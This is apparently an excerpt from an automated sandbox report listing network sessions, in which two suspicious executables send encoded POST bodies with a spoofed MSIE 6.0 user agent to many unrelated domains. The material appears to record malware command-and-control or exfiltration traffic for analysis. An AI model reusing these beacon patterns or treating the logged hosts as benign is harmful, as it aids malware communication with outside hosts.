Oct 25, 2024 11:18:07.228864908 CEST	818	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.item-pr.com Cache-Control: no-cache Data Raw: 4c 30 54 6a 70 50 66 50 77 46 58 55 6b 48 57 64 5a 75 77 30 75 55 41 31 58 74 32 74 7a 35 52 70 47 31 75 56 4d 31 54 65 2b 31 71 66 6d 56 74 55 72 49 4b 50 4d 51 47 31 42 4f 55 4b 35 51 7a 4c 49 2f 53 78 4d 6e 5a 41 57 53 6d 70 79 5a 75 35 55 6a 46 49 55 51 2f 48 53 67 69 75 52 63 4f 35 59 63 71 7a 74 6e 77 37 55 62 42 69 61 44 66 34 61 44 67 72 50 79 65 45 70 47 4e 31 4f 6a 76 77 4d 37 49 36 75 44 41 73 50 77 57 73 76 46 56 57 66 54 53 6c 75 55 7a 6d 4a 78 74 55 6d 51 53 51 46 56 55 68 5a 51 63 78 6b 73 65 4d 71 44 53 52 5a 73 6b 2b 6c 44 69 68 79 71 59 52 70 37 71 73 78 79 61 51 32 66 53 37 51 58 35 57 69 47 37 6b 39 35 30 43 63 50 72 2b 2b 6f 33 69 42 72 6c 50 69 47 59 75 51 72 68 37 44 41 71 76 6d 6f 30 30 45 63 64 69 61 47 69 67 79 65 6f 31 48 65 4c 36 70 30 43 78 76 75 76 62 47 66 32 74 48 57 78 37 4e 55 6f 7a 48 7a 61 59 53 49 53 56 56 67 50 75 73 42 49 54 56 78 69 6e 44 72 38 49 4a 46 76 46 71 56 56 67 41 4c 44 56 70 2f 66 75 79 6b 6f 66 48 37 62 66 6a 54 39 68 6d 79 67 54 6e 70 58 49 6c 4e [TRUNCATED] Data Ascii: L0TjpPfPwFXUkHWdZuw0uUA1Xt2tz5RpG1uVM1Te+1qfmVtUrIKPMQG1BOUK5QzLI/SxMnZAWSmpyZu5UjFIUQ/HSgiuRcO5Ycqztnw7UbBiaDf4aDgrPyeEpGN1OjvwM7I6uDAsPwWsvFVWfTSluUzmJxtUmQSQFVUhZQcxkseMqDSRZsk+lDihyqYRp7qsxyaQ2fS7QX5WiG7k950CcPr++o3iBrlPiGYuQrh7DAqvmo00EcdiaGigyeo1HeL6p0CxvuvbGf2tHWx7NUozHzaYSISVVgPusBITVxinDr8IJFvFqVVgALDVp/fuykofH7bfjT9hmygTnpXIlNGJN2PbuCaWO9mdQBXgQqhedJA6IG1x8epipZ77oAUdjkCoOoqVHvwSXdbyXDZCF0IuCCft2rcDzZauat0THsdiMJwneHQa1P3jIiUUwIvvJiibmut7kbM0EDOg2FySgYj9HFtrc+kOBSNgRS1wPMSv/UhGcGyZZMsiJ/BmGwqqieGiGbe0DqjxRZlpM+eaqAi7ufitrc99Hu8t7jXli813evKphhQrX9AEYoTblWj4Q4X1XpkNIw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	52817	54.161.222.85	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.368418932 CEST	818	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.petsfan.com Cache-Control: no-cache Data Raw: 39 4d 75 5a 35 43 47 43 30 31 58 57 4c 39 50 66 67 4c 55 2b 6b 2f 72 75 37 47 41 66 6c 6d 57 7a 35 57 72 4b 7a 45 72 47 2f 53 36 65 31 50 66 79 41 6c 73 76 4b 6a 38 73 34 6f 2b 49 4c 4e 38 6f 48 79 54 52 47 2f 42 68 56 57 55 5a 49 34 49 74 72 45 58 52 66 4b 5a 56 39 67 6a 66 71 70 2b 56 41 30 54 68 47 38 54 6e 5a 52 52 67 55 78 30 59 37 32 50 79 49 68 57 54 44 73 50 37 47 59 69 65 4f 48 5a 42 6b 61 51 55 68 54 52 34 63 54 2b 79 61 52 2b 55 4c 6f 51 44 41 30 68 79 71 71 45 4d 71 6e 5a 37 52 38 2b 55 35 48 2f 4e 43 36 49 7a 50 68 6c 64 57 2b 31 44 6a 52 6d 33 65 72 59 68 34 66 69 75 2b 74 35 4b 2b 75 5a 38 6e 42 31 2f 44 6f 77 39 67 68 53 41 56 74 5a 59 71 6e 33 78 67 34 4e 6e 75 43 52 6e 31 2b 4a 66 72 6b 54 71 66 76 48 2f 2f 2b 47 6b 38 35 2b 39 67 41 4d 6d 39 6c 6c 59 51 61 35 54 75 74 42 37 6d 65 4d 79 75 4a 75 58 6b 69 57 61 50 70 5a 69 41 4e 2f 65 51 32 2b 74 4a 41 57 75 45 71 77 6d 7a 38 72 79 6d 56 45 68 50 61 45 4c 73 48 4f 53 70 6e 79 2b 61 43 31 56 41 33 6a 2f 56 70 33 74 72 57 42 36 52 62 [TRUNCATED] Data Ascii: 9MuZ5CGC01XWL9PfgLU+k/ru7GAflmWz5WrKzErG/S6e1PfyAlsvKj8s4o+ILN8oHyTRG/BhVWUZI4ItrEXRfKZV9gjfqp+VA0ThG8TnZRRgUx0Y72PyIhWTDsP7GYieOHZBkaQUhTR4cT+yaR+ULoQDA0hyqqEMqnZ7R8+U5H/NC6IzPhldW+1DjRm3erYh4fiu+t5K+uZ8nB1/Dow9ghSAVtZYqn3xg4NnuCRn1+JfrkTqfvH//+Gk85+9gAMm9llYQa5TutB7meMyuJuXkiWaPpZiAN/eQ2+tJAWuEqwmz8rymVEhPaELsHOSpny+aC1VA3j/Vp3trWB6RbtJnn6wKUoRCtTWGkxvCjt2wL2n26NXtXDQqLR2NSBbuiUhpAN8ih1uvPW0H1foSjcwoRbDAf82AU7GuJHlMMsGjjxyA3c5e6W89CTEhqUSoMVTw3mSvSKi/FnGNKrrdFBSzMzwOnvjH3MfDI43L182PWtFAZ9YQOIG2d3RRCnJaYSYFRSXBZPR02qVQ0Fu+eQHp4HlkNrlFPwjzobfplO7jyQ4dEXSdgjINKvTZRs6FNVj1CqhU70=
Oct 25, 2024 11:18:08.034601927 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	52816	89.161.163.246	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.385318995 CEST	803	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.abart.pl Cache-Control: no-cache Data Raw: 56 68 57 58 4b 38 77 76 78 56 55 73 55 58 61 4b 4e 36 68 70 30 39 38 45 53 6f 79 6b 71 4a 75 47 77 4e 30 32 38 62 75 39 35 44 2f 4d 38 4c 41 45 4a 4d 34 64 34 64 68 48 46 69 51 4f 6d 65 46 45 41 49 6c 48 4a 30 6e 6e 49 43 43 79 43 39 46 48 79 78 62 58 58 69 75 79 67 31 4e 4b 4e 59 4f 57 74 49 75 71 6b 47 58 71 44 56 50 42 66 48 6b 6e 72 6b 72 34 76 53 39 4e 55 44 66 64 64 69 4a 4c 64 6c 56 59 53 4c 70 6f 38 61 67 38 70 31 63 72 49 51 77 66 42 70 6f 7a 55 78 33 75 57 68 49 70 72 51 4a 33 72 44 53 76 35 69 77 36 6c 6a 48 41 44 43 38 56 45 2f 59 55 74 44 73 39 69 44 55 73 70 7a 36 66 46 59 5a 2b 37 4e 38 6b 4b 6f 49 2b 6e 58 71 49 54 7a 45 2b 34 70 30 2f 75 54 45 48 6c 76 46 74 4b 2f 4e 2f 79 45 70 43 36 4f 79 54 45 47 6a 75 4c 4b 79 51 35 6c 32 2b 7a 4c 4e 72 53 30 4d 76 67 39 4b 6c 69 59 62 54 6e 61 67 44 4c 63 7a 70 6d 71 31 6a 44 66 75 69 71 66 54 46 31 76 59 57 49 79 42 65 54 46 68 76 4a 32 30 72 41 4f 70 5a 56 38 52 59 52 56 43 55 6a 75 48 46 48 75 69 67 46 6d 4d 51 67 4e 38 66 75 4d 5a 41 6d 4d [TRUNCATED] Data Ascii: VhWXK8wvxVUsUXaKN6hp098ESoykqJuGwN028bu95D/M8LAEJM4d4dhHFiQOmeFEAIlHJ0nnICCyC9FHyxbXXiuyg1NKNYOWtIuqkGXqDVPBfHknrkr4vS9NUDfddiJLdlVYSLpo8ag8p1crIQwfBpozUx3uWhIprQJ3rDSv5iw6ljHADC8VE/YUtDs9iDUspz6fFYZ+7N8kKoI+nXqITzE+4p0/uTEHlvFtK/N/yEpC6OyTEGjuLKyQ5l2+zLNrS0Mvg9KliYbTnagDLczpmq1jDfuiqfTF1vYWIyBeTFhvJ20rAOpZV8RYRVCUjuHFHuigFmMQgN8fuMZAmM0jQJeLmPUvvUwMu+q0BtELtjKgOseTH5DY0l5CGdgFuT8rrbhC+UG9snCkCcVRZ3xR0Q25zycSZbIjr3a0r54JfdYcsooxqyri9LH/1xaG4xI9Hu8ZXLmB4EawZaKYZJU+b37qXofhQMlQHQpoH7Z4xN0BE/BfVS61xIuPF4jDcUnfs0T73ViMNyQ+LnLuBKUtqJP8x2L2UI82Mjcspp670F9vNFCTwSdve2rq4g==
Oct 25, 2024 11:18:08.245755911 CEST	206	IN	HTTP/1.1 301 Moved Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.abart.com.pl Server: IdeaWebServer/6.2.0 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	52818	170.82.174.30	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.394519091 CEST	823	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 532 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.mqs.com.br Cache-Control: no-cache Cookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs Data Raw: 31 68 31 4e 74 36 32 32 53 67 75 55 33 6d 55 4c 70 43 6a 6f 61 6d 62 76 49 42 61 62 59 38 47 70 4d 55 4c 6c 35 2b 41 36 4d 6c 43 45 4b 37 53 4c 51 37 54 73 6c 4d 32 30 43 2f 2f 79 69 75 4e 43 75 56 41 62 32 58 31 76 38 39 77 75 6f 6f 78 4c 75 62 4f 51 4c 4e 46 78 7a 71 42 72 78 57 54 5a 72 49 39 67 33 61 56 39 61 6c 78 38 34 72 6e 52 7a 49 37 67 59 49 35 62 6b 39 48 73 6e 55 37 6b 42 65 78 73 59 6e 42 47 62 6a 31 79 72 78 39 57 6a 43 65 79 2f 64 55 2f 78 64 6e 37 2f 4a 55 41 2b 4f 63 30 50 46 4a 41 31 66 65 4f 6f 30 77 74 31 6b 68 45 35 44 32 65 4d 37 4c 56 71 43 51 4d 48 5a 6a 4b 42 34 4b 47 54 4f 35 31 2b 70 66 4f 79 51 64 4b 52 78 76 64 78 33 4f 51 71 31 62 69 64 48 44 4a 43 64 54 46 70 53 39 6e 4d 4a 41 79 72 54 59 4b 43 2b 79 49 37 4f 65 5a 7a 59 68 62 63 7a 4b 32 72 75 37 5a 37 51 31 39 4c 56 44 61 78 45 34 58 31 78 38 38 6f 7a 74 53 64 32 37 46 61 71 5a 51 6c 63 5a 50 2f 47 69 2f 5a 49 37 42 56 7a 32 57 32 50 6a 52 57 32 33 6a 52 4d 4f 74 7a 39 4b 33 62 4d 4a 73 55 64 33 69 79 6d 64 2f 4c 34 [TRUNCATED] Data Ascii: 1h1Nt622SguU3mULpCjoambvIBabY8GpMULl5+A6MlCEK7SLQ7TslM20C//yiuNCuVAb2X1v89wuooxLubOQLNFxzqBrxWTZrI9g3aV9alx84rnRzI7gYI5bk9HsnU7kBexsYnBGbj1yrx9WjCey/dU/xdn7/JUA+Oc0PFJA1feOo0wt1khE5D2eM7LVqCQMHZjKB4KGTO51+pfOyQdKRxvdx3OQq1bidHDJCdTFpS9nMJAyrTYKC+yI7OeZzYhbczK2ru7Z7Q19LVDaxE4X1x88oztSd27FaqZQlcZP/Gi/ZI7BVz2W2PjRW23jRMOtz9K3bMJsUd3iymd/L41ZCq78YoUS462T916TC0b7YlhcexQ1zUdC0mhSID/pG6flB0eYWQSO3d78zkw/wsUtxDnCbw0M6cZnP4URNe5H+BKfOGtVaJo+jeMFkBtn4hJRvbUBhbcGFlBNHxUoqeiBu7TcVrQqCcVRWr0y4+sLSIRKDB8IhyM/rH7BMIK2xw4Z5X3QiOadevcwo5auzGc=
Oct 25, 2024 11:18:08.421277046 CEST	605	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Set-Cookie: _mcnc=1; Path=/ Location: https://www.mqs.com.br/ Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000 X-Cloudez-Verify: f1f79f15a43c89e43ec1c65cc878ebbf8e9cf4a58e98a109af262325 X-GoCache-CacheStatus: BYPASS Server: gocache Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:18:08.423254013 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 25, 2024 11:18:08.488151073 CEST	832	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 532 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.mqs.com.br Cache-Control: no-cache Cookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs; _mcnc=1 Data Raw: 31 68 31 4e 74 36 32 32 53 67 75 55 33 6d 55 4c 70 43 6a 6f 61 6d 62 76 49 42 61 62 59 38 47 70 4d 55 4c 6c 35 2b 41 36 4d 6c 43 45 4b 37 53 4c 51 37 54 73 6c 4d 32 30 43 2f 2f 79 69 75 4e 43 75 56 41 62 32 58 31 76 38 39 77 75 6f 6f 78 4c 75 62 4f 51 4c 4e 46 78 7a 71 42 72 78 57 54 5a 72 49 39 67 33 61 56 39 61 6c 78 38 34 72 6e 52 7a 49 37 67 59 49 35 62 6b 39 48 73 6e 55 37 6b 42 65 78 73 59 6e 42 47 62 6a 31 79 72 78 39 57 6a 43 65 79 2f 64 55 2f 78 64 6e 37 2f 4a 55 41 2b 4f 63 30 50 46 4a 41 31 66 65 4f 6f 30 77 74 31 6b 68 45 35 44 32 65 4d 37 4c 56 71 43 51 4d 48 5a 6a 4b 42 34 4b 47 54 4f 35 31 2b 70 66 4f 79 51 64 4b 52 78 76 64 78 33 4f 51 71 31 62 69 64 48 44 4a 43 64 54 46 70 53 39 6e 4d 4a 41 79 72 54 59 4b 43 2b 79 49 37 4f 65 5a 7a 59 68 62 63 7a 4b 32 72 75 37 5a 37 51 31 39 4c 56 44 61 78 45 34 58 31 78 38 38 6f 7a 74 53 64 32 37 46 61 71 5a 51 6c 63 5a 50 2f 47 69 2f 5a 49 37 42 56 7a 32 57 32 50 6a 52 57 32 33 6a 52 4d 4f 74 7a 39 4b 33 62 4d 4a 73 55 64 33 69 79 6d 64 2f 4c 34 [TRUNCATED] Data Ascii: 1h1Nt622SguU3mULpCjoambvIBabY8GpMULl5+A6MlCEK7SLQ7TslM20C//yiuNCuVAb2X1v89wuooxLubOQLNFxzqBrxWTZrI9g3aV9alx84rnRzI7gYI5bk9HsnU7kBexsYnBGbj1yrx9WjCey/dU/xdn7/JUA+Oc0PFJA1feOo0wt1khE5D2eM7LVqCQMHZjKB4KGTO51+pfOyQdKRxvdx3OQq1bidHDJCdTFpS9nMJAyrTYKC+yI7OeZzYhbczK2ru7Z7Q19LVDaxE4X1x88oztSd27FaqZQlcZP/Gi/ZI7BVz2W2PjRW23jRMOtz9K3bMJsUd3iymd/L41ZCq78YoUS462T916TC0b7YlhcexQ1zUdC0mhSID/pG6flB0eYWQSO3d78zkw/wsUtxDnCbw0M6cZnP4URNe5H+BKfOGtVaJo+jeMFkBtn4hJRvbUBhbcGFlBNHxUoqeiBu7TcVrQqCcVRWr0y4+sLSIRKDB8IhyM/rH7BMIK2xw4Z5X3QiOadevcwo5auzGc=
Oct 25, 2024 11:18:08.895576000 CEST	605	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Set-Cookie: _mcnc=1; Path=/ Location: https://www.mqs.com.br/ Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000 X-Cloudez-Verify: f1f79f15a43c89e43ec1c65cc878ebbf8e9cf4a58e98a109af262325 X-GoCache-CacheStatus: BYPASS Server: gocache Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:18:08.896625042 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	52820	34.149.87.45	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.518414021 CEST	772	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.alteor.cl Cache-Control: no-cache Data Raw: 37 54 49 51 74 55 72 30 55 67 76 42 6c 35 4f 71 72 64 63 30 75 41 30 45 44 71 66 36 59 62 72 6c 48 74 4e 65 41 44 76 63 57 45 43 59 55 34 6a 71 31 36 63 74 2f 44 6f 78 2f 4c 37 5a 6e 52 39 4f 71 79 4d 31 54 6f 7a 75 75 34 6c 62 39 44 30 4a 52 51 7a 7a 59 6a 6b 78 4a 66 43 7a 62 75 43 31 73 57 37 4f 36 66 47 65 67 79 73 2b 52 32 76 39 36 61 71 42 79 43 6a 70 4a 57 43 76 62 48 48 30 4d 4c 4e 6b 6d 73 47 70 54 53 62 7a 4b 42 79 36 2f 4b 58 74 41 5a 64 6a 4c 47 75 6f 4d 61 48 67 70 49 68 4e 51 35 4f 68 70 42 63 70 68 42 4b 70 4b 6f 35 63 6c 4f 4c 66 4f 33 4e 43 52 61 53 70 75 68 69 49 70 62 6a 4a 4a 77 39 63 34 33 59 35 58 48 62 2f 78 70 56 77 72 51 63 68 76 55 49 43 35 69 77 55 35 36 7a 51 6b 6c 56 32 72 39 66 6b 43 31 75 33 2b 47 4f 5a 32 6e 53 54 6f 63 5a 32 30 43 4f 48 55 35 71 69 67 53 39 35 4b 30 39 52 57 79 41 4b 32 79 4b 42 39 32 38 61 52 6b 59 48 6a 65 34 78 52 4d 66 71 42 2b 49 6c 53 71 4e 2f 6d 50 36 79 6e 4d 37 35 66 31 67 65 78 77 6b 43 48 75 31 53 4f 6d 68 2b 34 6b 59 49 68 41 44 39 35 57 [TRUNCATED] Data Ascii: 7TIQtUr0UgvBl5Oqrdc0uA0EDqf6YbrlHtNeADvcWECYU4jq16ct/Dox/L7ZnR9OqyM1Tozuu4lb9D0JRQzzYjkxJfCzbuC1sW7O6fGegys+R2v96aqByCjpJWCvbHH0MLNkmsGpTSbzKBy6/KXtAZdjLGuoMaHgpIhNQ5OhpBcphBKpKo5clOLfO3NCRaSpuhiIpbjJJw9c43Y5XHb/xpVwrQchvUIC5iwU56zQklV2r9fkC1u3+GOZ2nSTocZ20COHU5qigS95K09RWyAK2yKB928aRkYHje4xRMfqB+IlSqN/mP6ynM75f1gexwkCHu1SOmh+4kYIhAD95WHi2J1uslUV4ZDyyrVVW/4IfFu5ZfW4Qu4clufzJVF602LujmAzL2ygNtcKcEIuszzZPqWluUYIVJEqytvpwUlfs3TB2yj4ZirFDdkiU0WD1er5EkXNkHM4//ynwGLJI4IRuOOtrA8DiPVCbuCvsfADdqInpe0PmdOa2HJTFV9qpccqUR5qMb8ALMfUys2tHzX6ECe5N/8=
Oct 25, 2024 11:18:08.204672098 CEST	361	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.alteor.cl/ Accept-Ranges: bytes Date: Fri, 25 Oct 2024 09:18:08 GMT X-Served-By: cache-dfw-kdfw8210081-DFW X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	52821	142.250.186.147	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.519458055 CEST	777	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.depalo.com Cache-Control: no-cache Data Raw: 71 67 57 34 46 68 34 67 56 67 73 34 46 62 52 72 61 59 69 49 51 77 45 6e 52 6d 39 65 76 4c 78 79 4d 6a 4c 71 43 64 47 6f 62 68 45 4b 63 65 46 38 43 45 6a 67 6d 78 58 4c 6b 69 64 64 37 54 6e 5a 34 55 6f 57 47 6f 42 65 43 76 78 5a 34 43 72 44 6c 35 78 77 39 54 4c 59 34 62 46 53 2b 37 45 68 51 64 61 61 41 4e 6e 77 36 37 73 55 5a 4d 59 41 4b 54 30 4a 54 65 5a 42 62 39 74 6c 45 57 58 46 65 62 4c 4b 76 7a 6a 62 45 35 6b 65 78 6d 43 6b 63 30 6a 59 5a 7a 65 76 2f 6c 2f 61 4b 50 58 77 79 6c 6e 41 67 41 2f 55 5a 76 6b 47 77 6a 73 66 49 53 65 5a 55 37 35 6d 2f 52 74 72 78 6a 6d 39 66 6c 4f 45 5a 73 38 76 68 68 49 4b 63 71 78 2f 31 33 51 34 4e 69 52 69 74 4e 6e 75 66 42 30 68 6a 48 31 6c 72 6c 51 6b 42 59 30 34 68 33 48 36 76 6d 43 33 73 6a 68 37 4c 41 63 6c 33 76 35 49 4f 49 6f 6b 64 31 72 68 57 6c 2f 74 6a 52 36 6b 6f 6d 48 42 78 30 59 68 77 79 4c 57 32 78 66 37 70 74 64 44 57 49 59 74 4f 64 61 35 4b 79 76 73 71 72 2b 58 4c 39 4e 41 75 6d 35 55 46 74 78 4c 4b 4f 38 46 7a 46 63 4c 7a 5a 47 53 4c 6f 41 75 4e 69 [TRUNCATED] Data Ascii: qgW4Fh4gVgs4FbRraYiIQwEnRm9evLxyMjLqCdGobhEKceF8CEjgmxXLkidd7TnZ4UoWGoBeCvxZ4CrDl5xw9TLY4bFS+7EhQdaaANnw67sUZMYAKT0JTeZBb9tlEWXFebLKvzjbE5kexmCkc0jYZzev/l/aKPXwylnAgA/UZvkGwjsfISeZU75m/Rtrxjm9flOEZs8vhhIKcqx/13Q4NiRitNnufB0hjH1lrlQkBY04h3H6vmC3sjh7LAcl3v5IOIokd1rhWl/tjR6komHBx0YhwyLW2xf7ptdDWIYtOda5Kyvsqr+XL9NAum5UFtxLKO8FzFcLzZGSLoAuNiAv1jzK16/MeqxTGu+9vUoXlJSatrklNdGjkCQxGYxB+wSqjSOH31X5Ge30vxUffrjZVm1HTGGz/1F0qSrMETFuA0m6x4wwZerXqzbePb1eg+E6KKiS5wIbZc+pV0ullrYxaJwpmwQ3OICHjzWiB0qFaibsgp6+D2Qd0ih2hSvZWnKQDM7gISC+J1jWWH3CR7Zj+LI+dRZdNQnk
Oct 25, 2024 11:18:08.472079039 CEST	376	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 25 Oct 2024 09:18:08 GMT Location: https://www.depalo.com/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	52822	104.26.15.53	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.525532007 CEST	779	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 548 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.elpro.si Cache-Control: no-cache Data Raw: 31 6a 62 6a 66 76 7a 55 34 46 55 59 65 67 2f 59 70 79 78 53 2b 6f 39 52 5a 77 43 55 72 64 61 56 38 50 32 64 74 6b 46 74 6c 5a 32 65 46 67 4b 70 66 78 71 48 61 6e 75 39 69 2b 4d 58 45 2f 71 56 68 43 53 72 77 79 49 56 31 49 73 63 4c 35 67 49 63 5a 41 39 63 50 65 62 61 4d 32 57 78 45 72 44 73 66 50 78 31 4a 46 53 4c 6f 33 6e 42 50 6e 36 55 55 66 2f 4e 39 53 71 41 62 61 46 7a 38 4a 6d 73 50 2f 61 4e 32 59 31 68 31 72 4b 74 31 74 65 65 5a 6d 74 2f 57 45 33 55 59 43 43 36 75 39 5a 2b 36 48 7a 44 42 4e 30 54 44 65 71 34 6f 55 4f 68 50 34 74 66 61 4a 65 74 71 65 46 43 71 52 35 51 74 38 31 59 45 58 7a 62 70 6f 58 4b 68 50 76 32 2f 64 78 64 52 44 52 53 4b 52 72 4a 47 54 64 33 70 6d 38 2b 41 45 4a 46 35 4f 53 74 31 6a 68 6e 4e 38 4e 42 72 51 39 52 59 69 42 58 31 34 46 32 6f 31 59 42 45 6f 5a 33 63 6c 46 59 67 59 42 77 4e 43 6e 42 74 30 42 6d 43 70 53 57 41 4d 57 55 68 57 2b 71 78 49 4f 78 74 4a 31 50 65 4c 74 73 50 31 72 59 4d 5a 6a 2b 44 56 4f 46 37 65 76 34 74 4a 4e 5a 72 5a 58 58 41 59 56 69 49 77 6a 7a 35 [TRUNCATED] Data Ascii: 1jbjfvzU4FUYeg/YpyxS+o9RZwCUrdaV8P2dtkFtlZ2eFgKpfxqHanu9i+MXE/qVhCSrwyIV1IscL5gIcZA9cPebaM2WxErDsfPx1JFSLo3nBPn6UUf/N9SqAbaFz8JmsP/aN2Y1h1rKt1teeZmt/WE3UYCC6u9Z+6HzDBN0TDeq4oUOhP4tfaJetqeFCqR5Qt81YEXzbpoXKhPv2/dxdRDRSKRrJGTd3pm8+AEJF5OSt1jhnN8NBrQ9RYiBX14F2o1YBEoZ3clFYgYBwNCnBt0BmCpSWAMWUhW+qxIOxtJ1PeLtsP1rYMZj+DVOF7ev4tJNZrZXXAYViIwjz5uQwA8DHeFKtmw1kraZb54TJCIfLm69trENtrIWjHBm9zBmugUNfJkBaQ7is8YkrtKoBCiR+8//K26SRx8hsSeqcWf2wF8GBgtYVJrJDFHGijUFVHSQ748wBNpWtMGCpSdAD+KoCx0gAeQhEl1rpYz+aNEJFe+EeHP6mvQab7Jl0875ufAy3cX1COJDWC4JIx3ykxl0trSzVE3NmtM=
